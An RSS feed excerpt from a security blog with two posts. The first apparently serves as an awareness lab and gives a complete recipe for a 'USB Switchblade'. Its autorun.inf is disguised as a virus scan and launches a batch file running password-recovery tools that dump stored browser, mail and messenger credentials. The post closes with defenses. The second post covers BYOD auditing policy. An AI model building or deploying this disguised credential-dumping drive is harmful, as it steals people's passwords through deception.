		<description><![CDATA[<p>USB storage devices are everywhere and just about anyone has a USB Flash Drive on them or has one at their house. People are also pick up lost Flash Drives they find on the ground at work or outside of work and then they end up using these Flash Drives that aren&#8217;t verified and properly ...</p><p>The post <a href="https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/">USB Switchblade</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>USB storage devices are everywhere and just about anyone has a USB Flash Drive on them or has one at their house. People are also pick up lost Flash Drives they find on the ground at work or outside of work and then they end up using these Flash Drives that aren&#8217;t verified and properly wiped. The USB Switchblade example is very real and dangerous, while this article does show how to recover passwords. This is article is not to help hackers but to make security professionals aware of the dangers of unsecured USB devices and their capabilities.</p>
<p>All that was needed to for this lab is a spare USB flash drive. Another part to making this lab work is a basic understanding of Microsoft Batch scripting. Does not need specific space requirements, the executable files that are needed MessenPass, Mail PassView, IE Passview, Protected Storage PassView, and PasswordFox are all easily accessible on the internet and no credential authentication required to download these files.</p>
<p>MessenPass, Mail PassView, IE Passview, Protected Storage PassView, and PasswordFox are all password recovery tools used to recover passwords. MessenPass can recover MSN Messenger, Windows Live Messenger, Yahoo Messenger, Google Talk etc&#8230; Mail PassView can get passwords for Outlook Express, Outlook 2000, Outlook 02/03/07/10, Windows Mail, Windows Live Mail, etc… IE Passview shows the passwords stored by Internet Explorer web browser that a user has log on information on. It captures web-address, username, and password information. Protected Storage Passview can reveal passwords stored by Internet Explorer, Outlook Express, and MSN Explorer about any Protected Storage. The information about a Protected Storage program or device is stored in the registry, under “HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider”. PasswordFox can retrieve user names and passwords stored by Mozilla Firefox such as Record Index, Web Site, User Name, Password, etc&#8230; This program goes to where ever Firefox is installed on the computer, loads the admin profile and takes any information in the account. For any of these tools, if the programs aren’t installed on the local machine then nothing will come back in the txt file.</p>
<p>&nbsp;</p>
<p>Example of Switchblade working; for this to work you’ll need a flash drive, and the nessesary exe files mention above. In the USB drive, create a note pad document with the following information and then save it as autorun.inf.</p>
<p><b>open=launch.bat</b></p>
<p><b>ACTION= Perform a Virus Scan</b></p>
<p>Once that is done copy and paste MessenPass, Mail PassView, IE Passview, Protected Storage PassView, and PasswordFox exe files to the flash drive. Then create a second notepad document and input the following. Then save as launch.bat</p>
<p><b>start mspass.exe /stext mspass.txt</b></p>
<p><b>start mailpv.exe /stext mailpv.txt</b></p>
<p><b>start iepv.exe /stext iepv.txt</b></p>
<p><b>start pspv.exe /stext pspv.txt</b></p>
<p><b>start passwordfox.exe /stext passwordfox.txt</b></p>
<p>What this does is when the USB drive is plugged in to the computer; the auto run.inf will pop up and ask if you want to do a virus scan. Shown in Figure 1.</p>
<div id="attachment_1448" class="wp-caption aligncenter" style="width: 358px"><a href="https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/attachment/usb1/" rel="attachment wp-att-1448"><img class="size-full wp-image-1448" title="usb switchblade" alt="usb switchblade" src="https://mafiasecurity.r.worldssl.net/wp-content/uploads/2012/12/usb1.png" width="348" height="367" /></a><p class="wp-caption-text">usb switchblade</p></div>
<p>(Figure 1)</p>
<p>If the user clicks on “Perform a Virus Scan”, it will then load the “launch.bat” file and run all the executables in the script. Once the script has ran, any information will be displayed in the text files where it was created. Show in Figure 2 are the results of the program being ran on a computer with Administrative Privileges. The Password and Login information are blocked out to protect the user.</p>
<div id="attachment_1449" class="wp-caption aligncenter" style="width: 429px"><a href="https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/attachment/usb2/" rel="attachment wp-att-1449"><img class="size-full wp-image-1449" title="usb switchblade" alt="usb switchblade" src="https://mafiasecurity.r.worldssl.net/wp-content/uploads/2013/01/usb2.png" width="419" height="228" /></a><p class="wp-caption-text">usb switchblade</p></div>
<p>(Figure 2)</p>
<p>The ways to defend against this kind of physical attack; one disable the autorun feature in Windows, this will help the accidental execution of programs from foreign flash drives. Second, on certain high profile computers/servers disable USB function this will not allow USB devices to be connected to a computer. The third is distributing USB Flash drives in a corporate environment that were purchased by the company for the employees to use.</p>
<p>The post <a href="https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/">USB Switchblade</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bring Your Own Device Auditing</title>
		<link>https://www.mafiasecurity.com/governance/bring-your-own-device-auditing/</link>
		<comments>https://www.mafiasecurity.com/governance/bring-your-own-device-auditing/#comments</comments>
		<pubDate>Tue, 29 Jan 2013 01:03:06 +0000</pubDate>
		<dc:creator>Anthony Giallombardo</dc:creator>
				<category><![CDATA[Governance]]></category>
		<category><![CDATA[Compliance]]></category>
		<category><![CDATA[Physical Security]]></category>
		<category><![CDATA[Privacy Issues]]></category>
		<category><![CDATA[Risk Management]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1504</guid>
		<description><![CDATA[<p>Security, privacy, and incident responses are often the important drivers in a company’s decision to pursue a bring your own device auditing (Navetta, 2012). When dealing with laptop device security and mobile device security most companies policies are different even though both devices have the same common security controls such as encryption and VPN capabilities; ...</p><p>The post <a href="https://www.mafiasecurity.com/governance/bring-your-own-device-auditing/">Bring Your Own Device Auditing</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p style="text-align: left;" align="center">Security, privacy, and incident responses are often the important drivers in a company’s decision to pursue a bring your own device auditing (Navetta, 2012). When dealing with laptop device security and mobile device security most companies policies are different even though both devices have the same common security controls such as encryption and VPN capabilities; however, the divide starts when companies look at theft as the main issue for mobile devices and malware for laptops (Antonopoulos, 2011).</p>
<p style="text-align: left;" align="center">According to Navetta (2012):<br />
“One of the assumptions often reflected in conversations about Bring Your Own Device BYOD is that the organization has the luxury of creating a BYOD strategy based on a blank slate. The reality, however, is that the BYOD genie is already out of the bottle for many organizations. A recent survey of organizations conducted by found that 95% of surveyed organizations were permitting employees to use their own devices in some form in the workplace. According to the same study, each connected worker will have as many as three devices connected to employer networks by 2014.”</p>
<p style="text-align: left;">The most interesting fact about Bring Your Own Device is the Information Technology departments used to drive new technology into the business; although, with the release of the iPhone the new technology implementation shifted from the technology departments to the employees within the organization (Bradley, 2011).</p>
<h4>Pros for Bring Your Own Device Auditing:</h4>
<p>Any type of business entity, which embraces Bring Your Own Device  BYOD, has advantages over competitors such as shifting the bulk of the cost to the employee with them paying for all of the costs for hardware and voice/data services &#8211; as much as $90 per month per user (Bradley, 2011). Intel did an interesting study, which showed:</p>
<p>According to Gruman (2012):<br />
About $150 million a year in increased productivity (57 extra minutes per day at Intel per BYOD employee) and cost savings, she says. Intel gets $3 in return for every $1 invested in supporting consumerization. By my calculations, that means a return of about $7,500 per BYOD employee for a cost of $2,500 per employee to enable, manage, and secure.</p>
<h4>Cons for Bring Your Own Device Auditing:</h4>
<p>Bring your own or bring your own disaster (BOYD), can be very difficult from both an operational and policy governance standpoint. There are many hidden costs associated with BOYD such as management software, employee behavior, expense reporting, and training (Kaneshige, 2012). There are many security reasons why not to allow BYOD; however, the mistake many entities will make is their mobile device policy verse personal device policies and being able to enforce it without disastrous events from employees where company information on the personal device caused harm physically or logically to their personal device.</p>
<h4>Bring Your Own Device Auditing:</h4>
<p>Policies often indicate the entity has every right to monitor personal device use while connected to the company network, on the device itself and the transmission of any data from that device (Navetta, 2012). Of course, personal device use policies should include a notice any information on their device may be accessed or viewed by the company, especially in the context of security incident situations and investigations, audits, and litigation (Navetta, 2012).</p>
<p>It would be best if IT auditors had an advisory role when either legal and/or the information security department create the policies and compliance for these personal devices. In addition, if information, which would be normally audited, accesses or is stored on the personal device, the employee must allow the IT auditor to audit the personal device.</p>
<h5>References for Bring Your Own Device Auditing</h5>
<p>Antonopoulos, A. (2011, July 27). IT security’s scariest acronym: BYOD, bring your own device. Retrieved January 28, 2013, from Network World website: <a href="http://www.networkworld.com/columnists/2011/072711-andreas.html" target="_blank">http://www.networkworld.com/columnists/2011/072711-andreas.html</a></p>
<p>Bradley, T. (2011, December 20). Pros and Cons of Bringing Your Own Device to Work. Retrieved January 28, 2013, from PCWorld website: <a href="http://www.pcworld.com/article/246760/pros_and_cons_of_byod_bring_your_own_device_.html" target="_blank">http://www.pcworld.com/article/246760/pros_and_cons_of_byod_bring_your_own_device_.html</a></p>
<p>Gruman, G. (2012, October 12). Afraid of BYOD? Intel shows a better way. Retrieved January 28, 2013, from InfoWorld website: <a href="http://www.infoworld.com/d/consumerization-of-it/afraid-of-byod-intel-shows-better-way-204123" target="_blank">http://www.infoworld.com/d/consumerization-of-it/afraid-of-byod-intel-shows-better-way-204123</a></p>
<p>Kaneshige, T. (2012, December 13). BYOD Planning and Costs: Everything You Need to Know. Retrieved January 28, 2013, from <a href="http://www.cio.com/article/723864/BYOD_Planning_and_Costs_Everything_You_Need_to_Know" target="_blank">http://www.cio.com/article/723864/BYOD_Planning_and_Costs_Everything_You_Need_to_Know</a></p>
<p>Navetta, D., Esq. (2012). The Legal Implications of BYOD: Preparing Personal Device Use Policies. ISSA Journal, 10(11).</p>
<p>The post <a href="https://www.mafiasecurity.com/governance/bring-your-own-device-auditing/">Bring Your Own Device Auditing</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/governance/bring-your-own-device-auditing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk: enhanced
Database Caching 51/88 queries in 0.013 seconds using disk
Object Caching 3551/3551 objects using disk
Content Delivery Network via mafiasecurity.r.worldssl.net

 Served from: www.mafiasecurity.com @ 2013-05-24 16:18:50 by W3 Total Cache -->